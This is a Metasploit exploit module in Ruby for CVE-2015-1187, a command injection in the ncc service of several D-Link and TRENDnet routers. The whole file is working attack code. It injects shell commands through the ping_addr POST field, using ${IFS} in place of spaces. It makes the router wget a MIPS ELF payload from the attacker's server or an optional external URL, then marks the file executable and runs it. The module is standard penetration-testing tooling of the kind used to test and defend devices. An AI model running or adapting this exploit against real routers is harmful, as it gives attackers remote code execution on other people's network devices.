191 lines
5.9 KiB
Ruby
191 lines
5.9 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking # Only tested on Emulated environment
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::EXE
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'D-Link/TRENDnet NCC Service Command Injection',
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'Description' => %q{
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This module exploits a remote command injection vulnerability on several routers. The
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vulnerability exists in the ncc service, while handling ping commands. This module has
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been tested on a DIR-626L emulated environment. Several D-Link and TRENDnet devices
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are reported as affected, including: D-Link DIR-626L (Rev A) v1.04b04, D-Link DIR-636L
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(Rev A) v1.04, D-Link DIR-808L (Rev A) v1.03b05, D-Link DIR-810L (Rev A) v1.01b04, D-Link
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DIR-810L (Rev B) v2.02b01, D-Link DIR-820L (Rev A) v1.02B10, D-Link DIR-820L (Rev A)
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v1.05B03, D-Link DIR-820L (Rev B) v2.01b02, D-Link DIR-826L (Rev A) v1.00b23, D-Link
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DIR-830L (Rev A) v1.00b07, D-Link DIR-836L (Rev A) v1.01b03 and TRENDnet TEW-731BR (Rev 2)
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v2.01b01
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},
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'Author' =>
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[
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'Peter Adkins <peter.adkins[at]kernelpicnic.net>', # Vulnerability discovery and initial PoC
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'Tiago Caetano Henriques', # Vulnerability discovery and initial PoC
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'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2015-1187'],
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['BID', '72816'],
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['URL', 'https://github.com/darkarnium/secpub/tree/master/Multivendor/ncc2'],
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['URL', 'http://seclists.org/fulldisclosure/2015/Mar/15'],
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['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10052']
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],
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'Targets' =>
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# Only tested on D-Link DIR-626L where wget is available
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[
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[ 'Linux mipsel Payload',
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{
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'Arch' => ARCH_MIPSLE,
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'Platform' => 'linux'
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}
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],
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[ 'Linux mipsbe Payload',
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{
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'Arch' => ARCH_MIPSBE,
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'Platform' => 'linux'
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}
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],
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],
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'DisclosureDate' => 'Feb 26 2015',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('WRITABLEDIR', [ true, 'A directory where we can write files', '/tmp' ]),
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OptString.new('EXTURL', [ false, 'An alternative host to request the EXE payload from' ]),
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OptString.new('TARGETURI', [true, 'The base path to the vulnerable application area', '/ping.ccp']),
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OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 10])
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], self.class)
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end
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def check
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begin
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path)
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})
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# unknown if other devices also using mini_httpd
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if res && [500].include?(res.code) && res.headers['Server'] && res.headers['Server'] =~ /mini_httpd/
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return Exploit::CheckCode::Detected
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end
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rescue ::Rex::ConnectionError
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return Exploit::CheckCode::Unknown
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end
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Exploit::CheckCode::Unknown
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end
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def exec_command(cmd, timeout = 20)
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begin
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path),
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'encode_params' => false,
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'vars_post' => {
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'ccp_act' => 'ping_v6',
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'ping_addr' => '$(' + cmd + ')'
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}
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}, timeout)
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return res
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rescue ::Rex::ConnectionError
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fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
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end
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end
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def primer
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@payload_url = get_uri
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wget_payload
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end
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def exploit
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print_status("Accessing the vulnerable URL...")
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unless check == Exploit::CheckCode::Detected
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fail_with(Failure::NoTarget, "#{peer} - Failed to access the vulnerable URL")
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end
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print_status("Exploiting...")
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@pl = generate_payload_exe
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@payload_url = ''
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@dropped_elf = rand_text_alpha(rand(5) + 3)
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if datastore['EXTURL'].blank?
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begin
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Timeout.timeout(datastore['HTTPDELAY']) { super }
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rescue Timeout::Error
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end
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chmod_payload
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exec_payload
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else
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@payload_url = datastore['EXTURL']
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wget_payload
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chmod_payload
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exec_payload
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end
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end
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def wget_payload
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upload_path = File.join(datastore['WRITABLEDIR'], @dropped_elf)
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cmd = "wget${IFS}#{@payload_url}${IFS}-O${IFS}#{upload_path}"
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print_status("Downloading the payload to the target machine...")
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res = exec_command(cmd)
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if res && [200].include?(res.code) && res.headers['Server'] && res.headers['Server'] =~ /mini_httpd/
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register_files_for_cleanup(upload_path)
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else
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fail_with(Failure::Unknown, "#{peer} - Failed to download the payload to the target")
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end
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end
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def chmod_payload
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cmd = "chmod${IFS}777${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)}"
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print_status("chmod the payload...")
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res = exec_command(cmd, 1)
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unless res
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fail_with(Failure::Unknown, "#{peer} - Unable to chmod payload")
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end
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Rex.sleep(1)
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end
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def exec_payload
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cmd = File.join(datastore['WRITABLEDIR'], @dropped_elf)
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print_status("Executing the payload...")
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res = exec_command(cmd, 1)
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unless res
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fail_with(Failure::Unknown, "#{peer} - Unable to exec payload")
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end
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Rex.sleep(1)
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end
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# Handle incoming requests to the HTTP server
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def on_request_uri(cli, request)
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print_status("Request: #{request.uri}")
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if request.uri =~ /#{Regexp.escape(get_resource)}/
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print_status('Sending payload...')
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send_response(cli, @pl)
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end
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end
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end
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